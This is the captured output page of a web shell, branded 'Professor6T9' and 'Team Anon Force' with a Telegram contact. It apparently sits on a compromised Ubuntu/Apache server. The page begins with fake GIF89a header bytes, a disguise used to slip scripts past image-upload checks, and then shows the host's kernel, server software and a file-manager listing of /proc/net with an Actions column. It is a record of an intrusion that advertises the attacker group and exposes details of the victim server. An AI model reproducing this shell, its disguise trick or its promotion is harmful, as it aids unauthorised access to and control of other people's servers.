GIF89;aGIF89;aGIF89;a

Team Anon Force

https://t.me/Professor6T9x

Professor6T9 Web SheLL
 Linux sonniq.ru 5.15.0-161-generic #171-Ubuntu SMP Sat Oct 11 08:17:01 UTC 2025 x86_64
 Apache/2.4.52 (Ubuntu)
 127.0.0.1
Name Type Size Owner/Group Permission Last Modified Actions
. dir - 1014/1014 0555 2026-01-16 12:06:09
.. dir - 1014/1014 0555 2026-01-16 12:06:09
dev_snmp6 dir - 0/0 0555 2026-01-16 12:06:09
netfilter dir - 0/0 0555 2026-01-16 12:06:09
stat dir - 0/0 0555 2026-01-16 12:06:09
anycast6 application/x-empty 0 B 0/0 0444 2026-01-16 12:06:09
arp text/plain 0 B 0/0 0444 2026-01-16 12:06:09
connector text/plain 0 B 0/0 0444 2026-01-16 12:06:09
dev text/plain 0 B 0/0 0444 2026-01-16 12:06:09
dev_mcast text/plain 0 B 0/0 0444 2026-01-16 12:06:09
fib_trie text/plain 0 B 0/0 0444 2026-01-16 12:06:09
fib_triestat text/plain 0 B 0/0 0444 2026-01-16 12:06:09
icmp text/plain 0 B 0/0 0444 2026-01-16 12:06:09
icmp6 text/plain 0 B 0/0 0444 2026-01-16 12:06:09
if_inet6 text/plain 0 B 0/0 0444 2026-01-16 12:06:09
igmp text/plain 0 B 0/0 0444 2026-01-16 12:06:09
igmp6 text/plain 0 B 0/0 0444 2026-01-16 12:06:09
ip6_flowlabel text/plain 0 B 0/0 0444 2026-01-16 12:06:09
ip6_mr_cache text/plain 0 B 0/0 0444 2026-01-16 12:06:09
ip6_mr_vif text/plain 0 B 0/0 0444 2026-01-16 12:06:09
ip_mr_cache text/plain 0 B 0/0 0444 2026-01-16 12:06:09
ip_mr_vif text/plain 0 B 0/0 0444 2026-01-16 12:06:09
ip_tables_matches 0 B 0/0 0440 2026-01-16 12:06:09
ip_tables_names 0 B 0/0 0440 2026-01-16 12:06:09
ip_tables_targets 0 B 0/0 0440 2026-01-16 12:06:09
ipv6_route text/plain 0 B 0/0 0444 2026-01-16 12:06:09
mcfilter text/plain 0 B 0/0 0444 2026-01-16 12:06:09
mcfilter6 text/plain 0 B 0/0 0444 2026-01-16 12:06:09
netlink text/plain 0 B 0/0 0444 2026-01-16 12:06:09
netstat text/plain 0 B 0/0 0444 2026-01-16 12:06:09
packet text/plain 0 B 0/0 0444 2026-01-16 12:06:09
protocols text/plain 0 B 0/0 0444 2026-01-16 12:06:09
psched text/plain 0 B 0/0 0444 2026-01-16 12:06:09
ptype text/plain 0 B 0/0 0444 2026-01-16 12:06:09
raw text/plain 0 B 0/0 0444 2026-01-16 12:06:09
raw6 text/plain 0 B 0/0 0444 2026-01-16 12:06:09
route text/plain 0 B 0/0 0444 2026-01-16 12:06:09
rt6_stats text/plain 0 B 0/0 0444 2026-01-16 12:06:09
rt_acct application/octet-stream 0 B 0/0 0444 2026-01-16 12:06:09
rt_cache text/plain 0 B 0/0 0444 2026-01-16 12:06:09
snmp text/plain 0 B 0/0 0444 2026-01-16 12:06:09
snmp6 text/plain 0 B 0/0 0444 2026-01-16 12:06:09
sockstat text/plain 0 B 0/0 0444 2026-01-16 12:06:09
sockstat6 text/plain 0 B 0/0 0444 2026-01-16 12:06:09
softnet_stat text/plain 0 B 0/0 0444 2026-01-16 12:06:09
tcp text/plain 0 B 0/0 0444 2026-01-16 12:06:09
tcp6 text/plain 0 B 0/0 0444 2026-01-16 12:06:09
tls_stat text/plain 0 B 0/0 0444 2026-01-16 12:06:09
udp text/plain 0 B 0/0 0444 2026-01-16 12:06:09
udp6 text/plain 0 B 0/0 0444 2026-01-16 12:06:09
udplite text/plain 0 B 0/0 0444 2026-01-16 12:06:09
udplite6 text/plain 0 B 0/0 0444 2026-01-16 12:06:09
unix text/plain 0 B 0/0 0444 2026-01-16 12:06:09
wireless text/plain 0 B 0/0 0444 2026-01-16 12:06:09
xfrm_stat text/plain 0 B 0/0 0444 2026-01-16 12:06:09
© Professor6T9